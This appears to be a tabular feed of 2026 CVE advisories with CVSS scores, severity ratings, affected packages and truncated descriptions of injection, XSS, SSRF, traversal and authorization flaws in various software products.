CVE-2026-77246	New	7.4	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, an HTTP transport deployment with READ_ONLY_MODE=false accepts a request without an Authorization identity and permits attacker-controlled Atlassian service headers, including X-Atlassian-Confluence-Url, to select a public attacker hostname or one allowed by ...
CVE-2026-77912	New	7.4	HIGH				A stored cross-site scripting (XSS) vulnerability was identified in GitHub Enterprise Server that allowed an authenticated attacker to inject arbitrary HTML attributes into rendered Markdown because the Markdown rendering pipeline rewrote quote characters in already-sanitized HTML without re-sanitizing the result. Crafted Markdown could abuse same-origin JavaScript gadgets t...
CVE-2026-95508	New	7.4	HIGH		0.004		A heap-based buffer overflow was found in the DHCPv6 and TFTP response builders of libslirp. When the host is configured with a small interface MTU, a guest-supplied DHCPv6 CLIENTID option or TFTP blksize option can overflow the reply buffer with attacker-controlled content and length, resulting in denial of service and potentially arbitrary code execution in the host proces...
CVE-2026-95654	New	7.4	HIGH				Databasement before 1.7.14 validates invitation tokens only when the acceptance page loads, caching the authorization decision without re-checking token validity during acceptance. Attackers with a leaked or forwarded invitation link can load the page while pending, then accept the invitation after the legitimate user has already accepted it to overwrite the account password...
CVE-2026-17618	New	7.3	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote unauthenticated attacker to view and modify sensitive information and cause a denial of service due to improper authorization.
CVE-2026-18462	New	7.3	HIGH				Integer Overflow or Wraparound, Improper Access Control vulnerability in RTI Connext Professional (Core Libraries) allows Shared Resource Manipulation. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*.
CVE-2026-19915	New	7.3	HIGH				A potential security vulnerability has been identified in the HP Support Assistant for versions prior to 9.55.10.0. The vulnerability could potentially allow a local attacker to escalate privileges due to insufficient access controls.
CVE-2026-56681	New	7.3	HIGH			npm:9router	9Router is an AI router & token saver. Prior to 0.5.6, 9Router deployments that allow requests to reach Next.js without the sanitizing custom-server.js wrapper trust the client-supplied X-9r-Real-Ip header in src/dashboardGuard.js when isLocalRequest decides whether canAccessPublicLlmApi may skip API-key validation for /api/v1/* routes. A remote unauthenticated attacker can ...
CVE-2026-76712	New	7.3	HIGH				A vulnerability exists in the Analytics and Location Engine (ALE) that may allow for unauthorized access, information disclosure, or denial of service. An unauthenticated remote attacker could exploit the vulnerable system by sending specially crafted input or intercepting network communications. Successful exploitation could result in the disclosure of sensitive information...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85995	New	7.3	HIGH				Notepad++ is a free and open-source source code editor. From 8.9.7 until 8.9.8, the Notepad++ updater and signature verification path can accept a modified GUP.exe file whose embedded certificate metadata remains present even though its Authenticode digest is invalid. An attacker who can replace or plant the updater-related file can cause Notepad++ to launch attacker-modifie...
CVE-2026-93928	New	7.3	HIGH		0.003		Authentication Bypass Using an Alternate Path or Channel vulnerability in Magepeople inc. Taxi Booking Manager for WooCommerce allows Authentication Bypass. This issue affects Taxi Booking Manager for WooCommerce: from n/a before 2.0.8.
CVE-2026-95656	New	7.3	HIGH				A vulnerability was found in dgtlmoon changedetection.io up to 50389b07. This vulnerability affects the function add_watch_ui_snapshot of the file changedetectionio/blueprint/add_watch_ui/__init__.py of the component Preview Endpoint. Performing a manipulation of the argument url results in server-side request forgery. The attack can be initiated remotely. The exploit has be...
CVE-2026-95819	New	7.3	HIGH				A vulnerability has been found in anirbandutta9 College-Notes-Gallery up to 8c1cf3d98f30982d069c88ca172612c001eb39f6. Affected by this vulnerability is an unknown functionality of the file login.php. Such manipulation of the argument user/pass leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. This p...
CVE-2026-95924	New	7.3	HIGH				A vulnerability has been found in SourceCodester Online Reviewer Management System 1.0. Impacted is an unknown function of the file /reviewer_0/admins/assessments/databank/btn_functions.php?action=add. The manipulation of the argument difficulty_id leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be u...
CVE-2026-95925	New	7.3	HIGH				A vulnerability was found in SourceCodester Online Reviewer Management System 1.0. The affected element is an unknown function of the file /reviewer_0/admins/assessments/databank/btn_functions.php?action=update. The manipulation of the argument difficulty_id results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used.
CVE-2026-95926	New	7.3	HIGH				A vulnerability was determined in SourceCodester Online Reviewer Management System 1.0. The impacted element is an unknown function of the file /reviewer_0/admins/assessments/pretest/btn_functions.php?action=update. This manipulation of the argument test_id causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and ma...
CVE-2026-95927	New	7.3	HIGH				A vulnerability was identified in SourceCodester Online Reviewer Management System 1.0. This affects an unknown function of the file /reviewer_0/admins/assessments/pretest/exam-delete.php. Such manipulation of the argument test_id leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used.
CVE-2026-76713	New	7.2	HIGH				A vulnerability exists in the maintenance restore functionality of Analytics and Location Engine (ALE). Successful exploitation of this vulnerability could allow an authenticated remote attacker to gain unauthorized access to the file system with root privileges, potentially resulting in full system compromise.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76714	New	7.2	HIGH				Vulnerabilities in the Analytics and Location Engine web interface allows remote authenticated users to run arbitrary commands on the underlying host. A successful exploit could allow an attacker to execute arbitrary commands as root on the underlying operating system leading to complete system compromise.
CVE-2026-89412	New	7.2	HIGH		0.003		The TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Translation Memory Suggestion Panel (v-html on suggestion.original) in all versions up to, and including, 3.3.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject ar...
CVE-2026-93778	New	7.2	HIGH		0.002		The WP Yelp Review Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Yelp Review Text (imported via wpypelp_download_source) in all versions up to, and including, 9.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a u...
CVE-2026-93836	New	7.2	HIGH		0.002		The WPC Product Bundles for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qty' parameter in all versions up to, and including, 8.6.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an inj...
CVE-2026-94367	New	7.2	HIGH				OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 contains an OS command injection vulnerability in recbackup. An authenticated administrator can supply crafted backup-area configuration input that is passed to a shell command, allowing commands to execute with the privileges of the nvr user. The underlying design has been present since at least firmware 2.2.3.4. ...
CVE-2026-94504	New	7.2	HIGH		0.003		Ninja Forms 3.15.3 stores an anonymous non-RTE textarea value and renders it without safe HTML encoding in the legacy submission editor. An attacker can break out of the textarea with stored script. When an Administrator opens the attacker-known direct submission URL, the script runs in the WordPress admin origin.
CVE-2026-68956	New	7.1	HIGH		0.005		Allocation of Resources Without Limits or Throttling vulnerability in Erlang/OTP ssh allows an authenticated remote attacker to exhaust node memory by repeatedly opening session channels that are never assigned a handler. The "session" clause of ssh_connection:handle_msg/4 checks only minimal_remote_max_packet_size before calling setup_session/5, which unconditionally build...
CVE-2026-6922	New	7.1	HIGH		0.003		The WP Table Builder – Drag & Drop Table Builder plugin for WordPress is vulnerable to Incorrect Authorization in all versions up to, and including, 2.2.1. This is due to an operator precedence bug in the post-type guard within the trash_table_bulk() and restore_table_bulk() functions that causes the guard to never fire, combined with a permission callback that only verifies...
CVE-2026-75743	New	7.1	HIGH				Adobe Experience Manager Forms JEE is affected by a Cross-Site Request Forgery (CSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access, causing a limited disruption to availability. Exploitation of this issue requires user interaction in that a victim mus...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76715	New	7.1	HIGH				A vulnerability in an administrative component of Analytics and Location Engine (ALE) is vulnerable to a man-in-the-middle (MitM) attack. Successful exploitation of this vulnerability could allow an unauthenticated remote attacker to execute arbitrary code with root privileges on the affected appliance.
CVE-2026-77253	New	7.1	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credential...
CVE-2026-77261	New	7.1	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, _make_ssrf_safe_hook is omitted from JiraFetcher and ConfluenceFetcher sessions created through the basic-auth and oauth_pat branches. If an attacker-controlled or compromised configured Atlassian instance returns a redirect to an internal address, those sess...
CVE-2026-77426	New	7.1	HIGH			npm:unleash-server	Unleash is an open-source feature management platform. Prior to 8.0.3, the Unleash admin API contains five authorization vulnerabilities. POST /api/admin/segments/strategies assigns the Promise returned by hasPermission without awaiting it, allowing authenticated users to modify segment assignments without UPDATE_FEATURE_STRATEGY permission for the target project and environ...
CVE-2026-77633	New	7.1	HIGH			go:github.com/cloudreve/Cloudreve/v4	Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, PrepareUpload in pkg/filemanager/fs/dbfs/upload.go checks a stale in-memory user storage value through validateUserCapacity and later applies an unconditional storage charge outside the same quota-enforcing transaction. An authenticated user with Files.Write permission can issue concurrent upload...
CVE-2026-84395	New	7.1	HIGH				Premiere Pro is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation potentially resulting in unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-85055	New	7.1	HIGH				Twenty is an open-source CRM (customer relationship management) platform. Prior to 2.22.0, field-level read permission is enforced on selected output fields but not on GraphQL or REST filter predicates. A workspace member or API key with permission to read an object but not a particular field can reference that denied field in direct filters, relation filters, or persisted v...
CVE-2026-85740	New	7.1	HIGH			pip:lightrag-hku	LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, _validated_addresses in lightrag/parser/markdown/parser.py evaluates the literal resolved address with ipaddress.is_global without consistently classifying an IPv4 address embedded in an IPv6 transition wrapper. A caller who can upload a Markdown or textpack document can supply an external imag...
CVE-2026-89420	New	7.1	HIGH				Improper Validation of Specified Quantity in Input in ZenHive mpp allows a client holding an open payment channel to obtain paid resources without being charged. MPP.Session.Actions.accept_voucher/3 in lib/mpp/session/actions.ex treats a voucher whose cumulativeAmount equals the channel's already-accepted cumulative amount as an idempotent success, returning the channel unc...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94455	New	7.1	HIGH				An HTTP endpoint intended for provisioning enterprise and reseller organisations is reachable without any session. The authentication middleware is bound only to an explicit list of controllers, and the enterprise controller is not on that list, so no authentication runs for these routes. The endpoint's only check is that the request body carries a token bearing a valid sig...
CVE-2026-94462	New	7.1	HIGH			rubygems:spree_api	Spree is an open source e-commerce solution built with Ruby on Rails. From 5.4.0 until 5.4.4 and 5.5.4, PATCH /api/v3/store/carts/:id/associate in Spree::Api::V3::Store::CartsController#associate uses find_cart_for_association to locate a cart by prefixed_id but does not require a cart token or otherwise verify possession of the selected guest cart. An authenticated customer...
CVE-2026-96271	New	7.1	HIGH				Photoview through 2.4.0 contains an authorization bypass vulnerability in the shareAlbum GraphQL mutation that allows authenticated users to create share links for albums owned by other users. Attackers can supply arbitrary album IDs to generate working share tokens for victim albums, exposing photos and sub-albums to anyone with the link while retaining indefinite control o...
CVE-2026-83597	New	7.0	HIGH				Netdata is an open source observability tool. From version 2.0.0 until 2.10.4, Netdata Windows Agent MSI repair launches powershell.exe and wevtutil.exe as elevated interactive processes in the initiating user's desktop session. A low-privileged local user who triggers repair can interact with or hijack those visible process windows to execute arbitrary commands with SYSTEM ...
CVE-2026-11388	New	6.9	MEDI				Double Free vulnerability in RTI Connex Professional (Core Libraries) allows File Manipulation. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.1.0 before 7.3.1.6.
CVE-2026-18460	New	6.9	MEDI				Off-by-one Error, Out-of-bounds Write vulnerability in RTI Connex Professional (Core Libraries) allows Overflow Buffers. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6.
CVE-2026-25262	New	6.9	MEDI				Memory corruption while processing a crafted ELF file in the Primary Bootloader.
CVE-2026-63627	New	6.9	MEDI			npm:mppx	mppx is a TypeScript interface for machine payments protocol. Prior to 0.8.2, FeePayerPolicy in src/tempo/internal/fee-payer.ts used decodeFunctionData to validate fee-sponsored calldata but did not reject trailing bytes. A client could append nonzero padding that increased intrinsic calldata gas while gas_limit and max_fee_per_gas remained within policy caps, causing the se...
CVE-2026-63628	New	6.9	MEDI			npm:mppx	mppx is a TypeScript interface for machine payments protocol. Prior to 0.8.2, the fee-payer cosigning path in src/tempo/internal/fee-payer.ts copied a client-supplied access_list from a 0x78 FeePayerEnvelope without validating its length or contents. Because EIP-2930 access-list entries consume intrinsic gas even when the listed addresses are never used, a client could add f...
CVE-2026-95499	New	6.9	MEDI				A flaw has been found in JosephChuks php-file-manager-with-code-editor up to 3.0. This issue affects the function move_uploaded_file of the file filemanager.php. Executing a manipulation of the argument files can lead to unrestricted upload. The attack can be executed remotely. The vendor was contacted early about this disclosure but did not respond in any way.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95658	New	6.9	MEDI				MISP's WorkflowsController exposed the moduleStatelessExecution action in the Security component's unlockedActions list. In CakePHP, listing an action in unlockedActions disables both the CSRF token check and the field hash validation for that action. Because moduleStatelessExecution executes a workflow module's exec() method with caller-supplied input and parameters, the ab...
CVE-2026-95667	New	6.9	MEDI				The MISP installer scripts (for Debian 12, Debian 13, Ubuntu 24.04, and RHEL 9.4) create a log file at /var/log/misp_install.log and a named pipe (FIFO) at /var/log/misp_install.log.pipe to capture all installer output. The log captures highly sensitive data including the generated admin password, database passwords, GPG passphrase, and supervisor password. However, the log ...
CVE-2026-95679	New	6.9	MEDI				MISP's RequestHandlerComponent automatically decodes XML request bodies on all write requests. The underlying Xml::build() library contains a logic error in its readFile guard condition (readFile && http https), where PHP operator precedence causes the https branch to bypass the readFile check entirely. As a result, a request body containing a bare HTTPS URL is treated as...
CVE-2026-95754	New	6.9	MEDI				In MISP's UsersController login() method, the pre-authentication database query used for the TOTP (two-factor authentication) verification branch did not include the User.disabled column in its SELECT fields list. The query selected only User.password, User.totp, and User.hotp_counter. When the TOTP branch subsequently accessed \$unauth_user['User']['disabled'], the key was a...
CVE-2026-11389	New	6.8	MEDI				Out-of-bounds Read, Function Call With Incorrect Number of Arguments, Access of Resource Using Incompatible Type ('Type Confusion') vulnerability in RTI Connex Professional (Core Libraries) allows Overread Buffers. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.3.0 before 7.3.1.6.
CVE-2026-18458	New	6.8	MEDI				Out-of-bounds Read, Function Call With Incorrect Number of Arguments, Access of Resource Using Incompatible Type ('Type Confusion') vulnerability in RTI Connex Professional (Core Libraries) allows Overread Buffers. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.3.0 before 7.3.1.6, from 6.1.2.21 before 6.1.*.
CVE-2026-18626	New	6.8	MEDI				Out-of-bounds Read vulnerability in RTI Connex Professional (Core Libraries) allows Overread Buffers. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.0 before 5.2.*, from 5.0.0 before 5.1.*.
CVE-2026-79312	New	6.8	MEDI				webpy web.py 0.76 is vulnerable to Session Fixation. The component Session._load() reads session_id directly from the request cookie and loads that session from the store, and _save() writes back under the same session_id; no rotation after authentication, so a fixed session_id keeps the authenticated state.
CVE-2026-95503	New	6.8	MEDI		0.001		A flaw was found in the Kerberos federation provider of Keycloak, an open-source identity and access management solution. When Kerberos password authentication is used without SPNEGO, the system fails to verify the identity of the Key Distribution Center (KDC) by requesting a server ticket. This allows an attacker on the same network to spoof the KDC and bypass the authentic...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95624	New	6.8	MEDI				The Tauri updater plugin's 'check' IPC command accepts an allowDowngrades boolean parameter directly from frontend JavaScript code. When set to true, it replaces the version comparator from "update must be newer" to "update must be different." Because the default permission set grants allow-check to the webview, any XSS in the app frontend can invoke this command and bypass ...
CVE-2026-63278	New	6.7	MEDI				URLs could be constructed which expanded environment variable or INI file values, so potentially sensitive information could be exfiltrated to a remote server on opening a document containing such links. The check added for CVE-2024-12426 did not recognise every way of naming the package content provider, so a URL that named it differently still reached the expansion. In fix...
CVE-2026-65129	New	6.7	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause improper certificate validation. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.
CVE-2026-85288	New	6.7	MEDI				Notepad++ is a free and open-source source code editor. Prior to 8.9.8, Notepad++ incompletely enforces shortcuts.xml HMAC validation because WM_MACRODLGRUNMACRO, the Run a Macro Multiple Times entry point, calls macroPlayback() without the validation used by command(). A tampered shortcuts.xml macro that is blocked through the Macro menu or a shortcut key can therefore exec...
CVE-2026-65125	New	6.6	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause external control of a file name or path. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and denial of service.
CVE-2025-1280	New	6.5	MEDI		0.005		The BM Content Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to 3.17.1 (exclusive) via the ux_cb_page_customize_save_layout_ajax() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
CVE-2026-16426	New	6.5	MEDI				IBM Concert 1.0.0 through 3.0.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
CVE-2026-17465	New	6.5	MEDI				IBM Concert 1.0.0 through 3.0.0 could allow a remote authenticated attacker to cause a denial of service due to improper enforcement of storage limits.
CVE-2026-18114	New	6.5	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to read arbitrary files due to improper path canonicalization.
CVE-2026-18124	New	6.5	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to obtain sensitive information due to insufficiently protected credentials.
CVE-2026-18132	New	6.5	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to perform unauthorized payment mutation actions due to missing authorization.
CVE-2026-18156	New	6.5	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to bypass security controls by forging user identities due to improper authorization.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-18170	New	6.5	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to cause a denial of service due to allocation of resources without limits or throttling.
CVE-2026-57576	New	6.5	MEDI				plone.app.dexterity is a content-type system for the Plone content management system, and plone.app.contenttypes provides Plone's Dexterity-based content types. Plone.app.dexterity versions through 3.2.2, 4.0.0 through 4.1.2, and 5.0.0, and plone.app.contenttypes versions through 3.0.11, 4.0.0 through 4.0.9, and 5.0.0 are vulnerable to denial of service because an authentica...
CVE-2026-65112	New	6.5	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.
CVE-2026-65115	New	6.5	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker may cause uncontrolled resource consumption. A successful exploit of this vulnerability may lead to denial of service.
CVE-2026-74765	New	6.5	MEDI		0.002		Net::IDN::Punycode versions before 2.590 for Perl allow an out-of-bounds read via integer overflow of the delta accumulator in encode_punycode. The XS backend keeps the punycode delta, and the digit index derived from it, in a signed int. The accumulation `delta += (m-n) * (h+1)` has no overflow check, so a large enough code point wraps the delta and the digit index leaves ...
CVE-2026-75517	New	6.5	MEDI				Novu provides an API for sending notifications through multiple channels. Prior to 3.18.0, Novu integration mutation use cases including remove-integration, update-integration, auto-configure-integration, and set-integration-as-primary look up an integration by integrationId and organizationId without consistently enforcing environmentId. A caller with access to one environm...
CVE-2026-75638	New	6.5	MEDI				CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised...
CVE-2026-77252	New	6.5	MEDI				MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, caller-supplied projects_filter and spaces_filter arguments can replace administrator-configured allowlists, and caller-provided project or space clauses can suppress the configured restriction. A caller can search projects or spaces outside the intended boun...
CVE-2026-77266	New	6.5	MEDI			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisor...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77269	New	6.5	MEDI			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the remediation for CVE-2026-27825 protects download destinations but does not constrain source paths used by attachment uploads. A caller can provide an absolute or traversal file_path and cause the server to upload the selected local file. The advisory trac...
CVE-2026-77270	New	6.5	MEDI			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira and Confluence attachment upload tools treat caller-controlled file_path values as trusted server-local paths. The server opens the selected file and uploads it to an Atlassian issue or page, allowing an MCP caller with upload access to disclose any ...
CVE-2026-77399	New	6.5	MEDI				icalendar is an RFC 5545 compatible parser and generator of iCalendar files for Python. From 6.1.0 until 7.2.2, vInt.from_ical accepts an attacker-controlled VALARM REPEAT value and applications that request alarm times can eagerly expand it without an application-level limit. Alarms.times and Alarms.active reach the unbounded expansion in versions starting with 6.1.0, while...
CVE-2026-79913	New	6.5	MEDI			go:github.com/cloudreve/Cloudreve/v4	Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, the ValidateExternalURL server-side request forgery guard in pkg/request/ssrf.go passes resolved addresses to checkIP without decoding NAT64, IPv4-compatible, and 6to4 IPv4-in-IPv6 transition forms. An authenticated user with remote-download access can provide SrcUri through RemoteDownloadTask.cr...
CVE-2026-83600	New	6.5	MEDI				Netdata is an open source observability tool. Prior to 2.10.4, an authenticated child agent can send an oversized CHART SLOT value that str2ull_encoded passes to pluginsd_rrdset_cache_put_to_slot in src/plugins.d/pluginsd_internals.h. The accepted slot drives reallocz to request an approximately 16 GiB chart-pointer array, and allocation failure invokes fatal and aborts the ...
CVE-2026-83601	New	6.5	MEDI				Netdata is an open source observability tool. Prior to 2.10.4, an authenticated child agent can send an oversized DIMENSION SLOT value that str2ull_encoded passes to pluginsd_rrddim_put_to_slot in src/plugins.d/pluginsd_internals.h without an upper bound. prd_array_create in src/database/rrdset-pluginsd-array.h can then wrap the size_t allocation calculation while retaining ...
CVE-2026-83602	New	6.5	MEDI				Netdata is an open source observability tool. From 2.0.0 until 2.11.0, Netdata registers /api/v3/settings in src/web/api/v3/web_api_v3.c with HTTP_ACL_NOCHECK and HTTP_ACCESS_ANONYMOUS_DATA, causing unauthenticated PUT requests handled by src/web/api/v3/api_v3_settings.c to bypass operator-configured allow dashboard from IP restrictions. A network-reachable caller can persis...
CVE-2026-92928	New	6.5	MEDI				OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 contains a hardcoded, undocumented recovery account with a shared credential that cannot be changed, disabled, or rotated. An unauthenticated remote attacker can use the account to authenticate to the password-reset workflow. The account does not provide normal administrator access; additional vulnerabilities are r...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93343	New	6.5	MEDI				MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketing_admin_vendors_ajax AJAX action that allows authenticated attackers with subscriber-level access or higher to retrieve the complete vendor directory by sending a crafted AJAX request. Attackers can exploit the absence of capability checks in the vendor management act...
CVE-2026-93344	New	6.5	MEDI				MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketing_get_page_content AJAX action that allows authenticated attackers with subscriber-level access or higher to access arbitrary vendor administrator panel pages by supplying an arbitrary vendor user ID. Attackers can bypass authorization controls by submitting a target ...
CVE-2026-96260	New	6.5	MEDI				Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to enforce a request body size limit during CSRF validation of plugin requests which allows an authenticated user to exhaust server memory and cause a denial of service via a large request body sent to a plugin endpoint.. Mattermost Advisory ID: MMSA-2026-00775
CVE-2026-16778	New	6.4	MEDI		0.002		The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dslc_module_downloads_output' Shortcode Content in all versions up to, and including, 2.1.21 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject...
CVE-2026-83805	New	6.4	MEDI			pip:nautobot	Nautobot is a Network Source of Truth and Network Automation Platform. From 3.0.0 until 3.1.8, the generic ApprovalWorkflowStageResponse create endpoint does not enforce approver-group membership, change permission on the object under review, or the one-response-per-user restriction applied by the intended approve and deny actions. A user with only extras.add_approvalworkflo...
CVE-2026-94384	New	6.4	MEDI				Missing authorization in Amazon amazon-connect-salesforce-lambda before 5.26 allows any IAM principal with lambda:InvokeFunction permission on the affected function to escalate privileges and perform AWS API operations that their own IAM identity is explicitly denied, via invocation of a Lambda function that dispatches caller-supplied parameters to privileged service APIs wi...
CVE-2026-84301	New	6.3	MEDI				FastGPT is an open-source LLM platform for building AI applications on a knowledge base. Prior to 4.15.2, the safe Axios request interceptor in packages/service/common/api/axios.ts validates a hostname with isInternalAddress() before a later HTTP connection performs an independent DNS lookup, creating a DNS rebinding window, allowing an attacker-controlled hostname to resolv...
CVE-2026-86805	New	6.3	MEDI				A time-of-check to time-of-use (TOCTOU) race condition in the dynamic loader (ld.so) of the GNU C Library (glibc) versions 2.14 through 2.44 allows a local attacker to escalate privileges. When expanding \$ORIGIN in DT_RPATH for setuid/setgid (AT_SECURE) programs, glibc validates the lexically normalized search path against the trusted directories but then opens the raw, un-n...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88010	New	6.3	MEDI			go:Traefik	Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.7.13, checkPassword in pkg/middlewares/auth/basic_auth.go constructs the BasicAuth singleflight key from the submitted password and stored secret. Concurrent requests for absent usernames therefore coalesce on one key while configured usernames perform separate password hashes, creating an un...
CVE-2026-95815	New	6.3	MEDI				OpenClaw iOS before 2026.8.11 logs complete agent deep-link URLs including persistent bearer keys to unified logs as public diagnostic data. Attackers who obtain diagnostic archives can recover unrotated keys and replay them in forged deep links to submit agent requests without local confirmation prompts.
CVE-2026-95820	New	6.3	MEDI				A vulnerability was found in anirbandutta9 College-Notes-Gallery up to 8c1cf3d98f30982d069c88ca172612c001eb39f6. Affected by this issue is some unknown functionality of the file /dashboard/userprofile.php?section=admin1. Performing a manipulation of the argument image results in unrestricted upload. It is possible to initiate the attack remotely. The exploit has been made pu...
CVE-2026-95829	New	6.3	MEDI				A vulnerability was identified in TDuckCloud tduck-platform up to 5.3. This vulnerability affects the function PaginationInnerInterceptor.concatOrderBy of the file tduck-api/src/main/java/com/tduck/cloud/api/config/MybatisPlusConfig.java of the component Pagination Inner Interceptor. The manipulation of the argument orders[0].column leads to sql injection. The attack can be ...
CVE-2026-95830	New	6.3	MEDI				A security flaw has been discovered in theRealSain Pixtream up to 866afd4f0cea812b918780fb74b67dccf8c4d6a0. This issue affects some unknown processing of the file /post_upload.php. The manipulation of the argument media results in unrestricted upload. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. This product do...
CVE-2026-95833	New	6.3	MEDI				A weakness has been identified in itsourcecode Leave Management System 1.0. Impacted is an unknown function of the file /module/leavetype/index.php. This manipulation of the argument ID causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-95868	New	6.3	MEDI				A weakness has been identified in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcd488e83f8f91451bbbff6b9c. Affected by this issue is the function mysqli_query of the file admin/display_menu.php of the component Search Form. This manipulation of the argument s1 causes sql injection. The attack can be initiated remotely. The exploit has been made available t...
CVE-2026-95929	New	6.3	MEDI				A weakness has been identified in iFlytek astron-agent up to 1.0.7. Affected is an unknown function of the file console/backend/commons/src/main/resources/mapper/ChatBotMarketMapper.xml of the component getBotList API endpoint. Executing a manipulation of the argument sortDirection can lead to sql injection. It is possible to launch the attack remotely. Upgrading to version ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95930	New	6.3	MEDI				A security vulnerability has been detected in iFlytek astron-agent up to 1.0.6. Affected by this vulnerability is the function <code>UrlCheckTool.checkUrl</code> of the component <code>debugToolV2</code> API endpoint. The manipulation of the argument <code>endPoint</code> leads to server-side request forgery. The attack can be initiated remotely. Upgrading to version <code>reward-1575</code> addresses this issue. The identifi...
